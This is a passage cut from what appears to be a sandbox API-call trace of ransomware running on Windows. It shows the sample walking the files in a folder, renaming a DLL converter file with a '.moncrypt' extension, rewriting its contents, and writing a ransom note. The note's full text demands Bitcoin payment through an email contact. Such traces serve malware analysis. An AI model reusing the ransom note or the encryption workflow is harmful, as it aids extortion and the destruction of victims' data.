cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0050.202] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0050.202] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69dc8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0050.202] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0050.202] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0050.202] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.202] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.202] GlobalUnlock (hMem=0x44000c) returned 0 [0050.203] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.203] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.203] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.203] GlobalUnlock (hMem=0x44000c) returned 0 [0050.203] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.203] GlobalUnlock (hMem=0x440004) returned 0 [0050.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.203] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.203] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0050.203] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0050.203] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.203] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.203] GlobalLock (hMem=0x440004) returned 0x550170 [0050.203] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.203] GlobalUnlock (hMem=0x440004) returned 0 [0050.203] GlobalLock (hMem=0x440004) returned 0x550170 [0050.203] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.203] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.203] GlobalUnlock (hMem=0x440004) returned 0 [0050.203] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.203] GlobalUnlock (hMem=0x44000c) returned 0 [0050.203] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.204] CharLowerBuffW (in: lpsz="MSCONV97.DLL", cchLength=0xc | out: lpsz="msconv97.dll") returned 0xc [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.204] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLLn", lpUsedDefaultChar=0x0) returned 68 [0050.205] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0050.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\TextConv\\MSCONV97.DLLn", lpUsedDefaultChar=0x0) returned 4 [0050.205] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0050.205] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.205] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.205] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.205] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.205] GlobalUnlock (hMem=0x44000c) returned 0 [0050.205] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.205] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.205] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.205] GlobalUnlock (hMem=0x44000c) returned 0 [0050.205] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.205] GlobalUnlock (hMem=0x440004) returned 0 [0050.205] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.205] CharLowerBuffW (in: lpsz="RECOVR32.CNV", cchLength=0xc | out: lpsz="recovr32.cnv") returned 0xc [0050.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0050.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", cchWideChar=68, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNVn", lpUsedDefaultChar=0x0) returned 68 [0050.206] CharLowerBuffW (in: lpsz=".CNV", cchLength=0x4 | out: lpsz=".cnv") returned 0x4 [0050.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".cnv", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".cnvShared\\TextConv\\RECOVR32.CNVn", lpUsedDefaultChar=0x0) returned 4 [0050.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.212] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0050.213] CloseHandle (hObject=0x188) returned 1 [0050.213] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\я")) returned 1 [0050.214] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 0x54e200 [0050.214] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0050.214] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0050.214] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV", dwFileAttributes=0x20) returned 1 [0050.216] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.moncrypt")) returned 1 [0050.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.216] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.216] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x8f68 [0050.216] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0050.216] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0050.218] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.219] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.219] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.219] GlobalUnlock (hMem=0x44000c) returned 0 [0050.219] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.219] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.219] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.219] GlobalUnlock (hMem=0x44000c) returned 0 [0050.219] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.219] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.219] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.219] GlobalUnlock (hMem=0x440004) returned 0 [0050.219] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.220] GlobalUnlock (hMem=0x44000c) returned 0 [0050.220] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.220] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.220] GlobalUnlock (hMem=0x44000c) returned 0 [0050.220] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.220] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.220] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.220] GlobalUnlock (hMem=0x44000c) returned 0 [0050.220] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0050.220] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0050.220] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0050.220] SetFilePointer (in: hFile=0x188, lDistanceToMove=36712, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x8f68 [0050.220] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0050.220] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0050.220] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.231] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0050.231] CloseHandle (hObject=0x188) returned 1 [0050.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.233] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0050.233] CloseHandle (hObject=0x188) returned 1 [0050.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.moncrypt", dwFileAttributes=0x20) returned 1 [0050.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.233] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.233] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.233] GlobalUnlock (hMem=0x44000c) returned 0 [0050.233] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.233] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.233] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.233] GlobalUnlock (hMem=0x44000c) returned 0 [0050.233] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.233] GlobalUnlock (hMem=0x440004) returned 0 [0050.233] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x555b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69da8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x557b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.234] GetLastError () returned 0x2 [0050.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0050.234] WriteFile (in: hFile=0x188, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18ed24*=0x649, 